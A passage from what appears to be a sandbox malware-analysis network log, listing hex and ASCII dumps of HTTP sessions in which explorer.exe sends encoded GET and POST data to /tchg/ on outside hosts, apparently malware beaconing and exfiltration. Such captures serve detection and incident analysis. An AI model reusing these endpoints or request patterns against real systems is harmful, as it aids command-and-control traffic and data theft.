May 30, 2023 11:08:41.183343887 CEST	489	OUT	Data Raw: 6c 4b 4a 48 2d 30 50 43 6d 6f 44 53 6a 63 72 7a 48 6f 6e 57 4f 56 79 44 58 66 39 49 79 70 4c 7e 36 6e 65 4f 76 42 46 61 4a 33 79 28 55 69 65 78 64 7a 69 54 79 6c 58 6f 63 67 5a 78 30 72 30 6f 67 4f 6f 6a 77 71 46 30 36 56 63 67 2d 44 72 49 4e 50 Data Ascii: lKJH-0PCmoDSjcrzHonWOVyDXf9IypL~6neOvBFaJ3y(UiexdziTylXocgZx0r0ogOojwqF06Vcg-DrINPt0gjJs58Kb8QnJ0G4clORaWfoCBcYF6EIXHWN(PP8v9PrR1(4Fl2OAML2R2UYFWkMneHbTgJweby37zMkucgEkbbxW9r-fcPTrMAkCiJ4A2tfgFAgNzvkTZdtOnu9wC9MPqlfu-l3tlJyIKohL_JZfX7Yoyv_JRv7
May 30, 2023 11:08:41.183552980 CEST	495	OUT	Data Raw: 2d 61 75 6e 30 54 6a 76 79 47 39 4a 53 6d 4c 68 63 34 4f 77 36 37 31 28 35 32 6b 64 48 64 6f 65 6d 4d 35 36 32 41 6c 53 37 67 50 4a 39 50 79 46 66 69 31 58 42 38 57 69 44 32 4a 76 54 6d 69 6c 53 48 59 50 45 7a 32 79 49 62 32 6c 74 36 65 75 66 57 Data Ascii: -aun0TjvyG9JSmLhc4Ow671(52kdHdoemM562AlS7gPJ9PyFfi1XB8WiD2JvTmilSHYPEz2yIb2lt6eufWBp4XyhlGDVIPZJjhJl_MmIsfQZ-14n-fo9lwted9-eA2EzdH5wKDsgrz2sy9cqmteYJnBuyVc2AUk6JqBhg8i6CRp57v45ofXXJdviymKHO42L3J8IJ(Cp3FHJIrQhr797Q38Uz~ANQi3W4fTinl43Xp-ynLYKLe3
May 30, 2023 11:08:41.183670044 CEST	507	OUT	Data Raw: 6b 45 75 41 5f 57 43 4e 5a 32 32 73 73 70 49 4c 48 28 66 6a 30 36 67 4c 35 33 5f 32 4d 30 50 52 79 4c 72 71 34 34 43 4f 49 53 68 4b 6c 46 56 4d 6b 36 68 44 2d 6c 6c 6c 52 65 6b 4c 70 76 38 65 41 45 6f 54 41 52 58 63 55 45 79 63 6a 6c 52 7e 64 34 Data Ascii: kEuA_WCNZ22sspILH(fj06gL53_2M0PRyLrq44COIShKlFVMk6hD-lllRekLpv8eAEoTARXcUEycjlR~d4Bz8s1sm1HzYmv68AkV8iB60GKHhvUC_bl6DNyxs22K53h27oz4e6MnhgGEiosCnkMUJO1u1XmiZ9KDuy-hflc4xMhxx6MeoxKd25IHXCdEzXjtpN-XXbhY7JZ(Fz3eCoxdLG9(cg4dZ0wqIOaph4YR3oVH6RyZRAg
May 30, 2023 11:08:41.183825970 CEST	509	OUT	Data Raw: 6f 63 41 6e 67 65 55 61 6d 67 58 39 52 48 71 69 64 79 68 45 72 4b 4c 4b 73 39 4f 74 6f 34 34 69 32 62 66 67 47 4d 6d 4b 39 44 37 67 76 4c 6a 43 56 69 63 4f 56 75 6c 6b 34 34 62 35 71 75 7a 30 67 76 5a 55 34 64 45 59 61 57 61 42 69 76 2d 42 69 66 Data Ascii: ocAngeUamgX9RHqidyhErKLKs9Oto44i2bfgGMmK9D7gvLjCVicOVulk44b5quz0gvZU4dEYaWaBiv-Bifr3NWVzlhJvN~hmfd-(6ZaT8dLGVY9gm6xkTvAQh5D6P65QPax4JEl1p6lk3q948JpYn3HAihnRCsvJy944fiFjJJjNa3d2WNETYD70RpHrVbTtjgtyTbRzcyScb5gGKa98NgVPW3HVf39FhuEyVIu2AbCCOXJ~GZc
May 30, 2023 11:08:41.183993101 CEST	510	OUT	Data Raw: 44 7e 59 71 64 48 56 75 6d 65 73 7e 74 58 4a 76 48 6d 5f 32 54 46 51 4c 4c 45 4e 7e 50 46 45 51 71 51 4d 48 70 6a 6d 4d 59 72 52 44 5f 51 37 68 2d 45 59 78 54 70 5a 33 49 7a 43 47 73 77 33 6c 54 57 71 68 69 68 30 36 4d 50 62 4a 41 67 69 62 71 46 Data Ascii: D~YqdHVumes~tXJvHm_2TFQLLEN~PFEQqQMHpjmMYrRD_Q7h-EYxTpZ3IzCGsw3lTWqhih06MPbJAgibqFW0RU0YMfV7xCYKEudVXGHEziBWZQm~4kEDLAhFW4cjgcWZGZxmjGz6xfuLinK9qDoK4zRoghACrvcdAN5Ghm6TcLCknPSCyIaWZnKCfZBo0ABjDbPc-yiobr71Y~3rpDF0FiJn62E0DUKrCprq9ZeOdsq6X(S28(T

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49773	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:43.535353899 CEST	511	OUT	GET /tchg/?O0qEM=9bBjY/6oTKgH1shIYNMDEgJDdV7IeHSSKUh5InR8itKuthEKpcsrZfSerFOqB7XzWJrnUJabB2R375fix7bupMFfJVFvNpSnug==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.tsygy.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:08:43.702383041 CEST	511	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:08:40 GMT Connection: close Data Raw: 33 0d 0a ef bb bf 0d 0a Data Ascii: 3
May 30, 2023 11:08:43.702493906 CEST	513	IN	Data Raw: 36 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 26 23 32 30 30 36 Data Ascii: 6a1<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><title>九游会在线官方网站_九游会官网j9</title><meta name="keywords" content="
May 30, 2023 11:08:43.702564955 CEST	513	IN	Data Raw: 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 39 39 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 30 Data Ascii: top:0;left:0;width:100%;height:100%;background:#fff;z-index: 999999;padding-top:200px;font-size:20px;text-align:center;color:#000'>,九游会在线官方网站_九游&#2025
May 30, 2023 11:08:43.702629089 CEST	513	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49774	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:48.906312943 CEST	515	OUT	POST /tchg/ HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.cookcollectives.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cookcollectives.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 79 30 4c 79 67 70 65 74 4c 4e 4c 62 4c 64 67 78 30 47 71 4e 4b 69 65 67 61 35 43 52 53 57 63 41 76 34 31 51 6c 5a 66 63 53 2d 71 4b 4c 78 6b 6e 78 5a 35 68 54 59 65 69 32 4c 70 35 49 76 46 6b 37 68 4f 6b 46 68 76 70 76 6b 70 77 79 32 76 68 74 71 66 4f 4e 65 36 64 71 76 44 78 4f 52 7e 4c 75 2d 6a 34 77 66 30 58 42 41 38 2d 45 65 41 69 30 6a 62 4d 56 73 56 35 6d 36 35 72 6d 39 6f 61 77 48 41 50 61 77 4b 50 6a 50 39 58 65 57 4a 7a 62 4c 75 39 33 47 64 61 65 33 46 37 53 53 69 62 6c 4a 62 33 5a 58 34 65 54 41 4f 56 77 4c 77 30 41 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=y0LygpetLNLbLdgx0GqNKiega5CRSWcAv41QlZfcS-qKLxknxZ5hTYei2Lp5IvFk7hOkFhvpvkpwy2vhtqfONe6dqvDxOR~Lu-j4wf0XBA8-EeAi0jbMVsV5m65rm9oawHAPawKPjP9XeWJzbLu93Gdae3F7SSiblJb3ZX4eTAOVwLw0AQ).
May 30, 2023 11:08:49.191667080 CEST	516	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:08:48 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>...<![endif]-
May 30, 2023 11:08:49.191757917 CEST	517	IN	Data Raw: 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http://fonts.googleap
May 30, 2023 11:08:49.191814899 CEST	518	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:08:49.191864014 CEST	519	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49775	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:51.602180004 CEST	521	OUT	POST /tchg/ HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.cookcollectives.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cookcollectives.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 79 30 4c 79 67 70 65 74 4c 4e 4c 62 49 38 51 78 32 68 57 4e 43 69 65 6e 56 5a 43 52 59 32 63 45 76 34 35 51 6c 59 4c 32 54 49 53 4b 4b 56 67 6e 77 64 56 68 55 59 65 69 39 72 70 47 4d 76 46 37 37 68 43 47 46 6b 58 70 76 6b 39 77 6f 6c 33 68 38 4b 66 4e 47 2d 36 43 74 76 44 79 4b 52 7e 56 75 2d 7e 5a 77 62 38 58 43 77 51 2d 46 63 6f 69 6c 47 37 50 43 63 56 67 33 61 35 6f 70 64 6f 59 77 48 63 48 61 31 6e 79 6b 39 68 58 65 33 70 7a 61 4c 75 2d 67 6d 64 5a 42 48 45 6c 61 52 62 43 69 6f 48 56 41 47 64 37 57 78 4f 46 7e 37 34 36 55 50 53 57 6a 73 6c 35 4c 6a 58 58 63 4c 74 75 54 50 48 7a 4c 6f 33 77 33 71 68 33 4f 35 5a 6e 6c 54 30 74 30 4f 6b 5a 76 30 6d 5f 44 64 64 55 7a 49 78 65 76 41 47 4f 79 51 44 78 73 4f 76 48 48 4a 4e 31 55 4d 78 65 69 6b 4d 2d 32 56 49 6d 57 72 6d 46 6b 5a 63 39 36 6c 4e 4b 37 46 41 31 50 4a 79 42 39 4a 73 47 6a 38 34 74 36 43 32 34 44 6a 79 4d 62 5f 39 72 48 6f 50 4a 58 69 71 6d 68 36 68 64 4e 6e 53 6d 39 54 39 32 6c 64 51 79 56 68 63 2d 28 43 66 37 69 72 71 75 53 61 46 57 4a 6a 73 41 75 71 49 70 46 55 76 39 31 4b 45 4c 56 66 47 34 6f 46 73 33 4c 36 49 73 39 52 30 77 4d 54 71 32 51 4d 65 37 30 61 28 44 5a 30 35 66 4c 34 55 6c 6a 59 53 4c 41 65 33 4d 77 59 34 4f 4c 65 54 74 66 35 48 63 33 30 35 75 35 49 4c 39 74 7a 33 5a 6d 30 46 53 37 45 53 65 34 63 39 66 73 6c 49 62 4e 7a 35 7a 55 78 6f 31 45 62 6c 6c 28 62 52 79 30 71 79 73 69 32 39 63 43 77 65 63 58 50 75 56 58 4d 58 7a 32 64 4e 4d 56 31 78 4e 73 5f 33 4b 50 54 6d 74 28 72 67 71 65 55 68 6e 51 6c 44 6a 4c 76 73 55 72 49 70 74 7a 59 32 6a 39 72 41 4b 77 6d 30 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=y0LygpetLNLbI8Qx2hWNCienVZCRY2cEv45QlYL2TISKKVgnwdVhUYei9rpGMvF77hCGFkXpvk9wol3h8KfNG-6CtvDyKR~Vu-~Zwb8XCwQ-FcoilG7PCcVg3a5opdoYwHcHa1nyk9hXe3pzaLu-gmdZBHElaRbCioHVAGd7WxOF~746UPSWjsl5LjXXcLtuTPHzLo3w3qh3O5ZnlT0t0OkZv0m_DddUzIxevAGOyQDxsOvHHJN1UMxeikM-2VImWrmFkZc96lNK7FA1PJyB9JsGj84t6C24DjyMb_9rHoPJXiqmh6hdNnSm9T92ldQyVhc-(Cf7irquSaFWJjsAuqIpFUv91KELVfG4oFs3L6Is9R0wMTq2QMe70a(DZ05fL4UljYSLAe3MwY4OLeTtf5Hc305u5IL9tz3Zm0FS7ESe4c9fslIbNz5zUxo1Ebll(bRy0qysi29cCwecXPuVXMXz2dNMV1xNs_3KPTmt(rgqeUhnQlDjLvsUrIptzY2j9rAKwm0.
May 30, 2023 11:08:51.889487982 CEST	522	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:08:51 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>...<![endif]-
May 30, 2023 11:08:51.889566898 CEST	523	IN	Data Raw: 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http://fonts.googleap
May 30, 2023 11:08:51.889626026 CEST	525	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:08:51.889674902 CEST	525	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49776	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
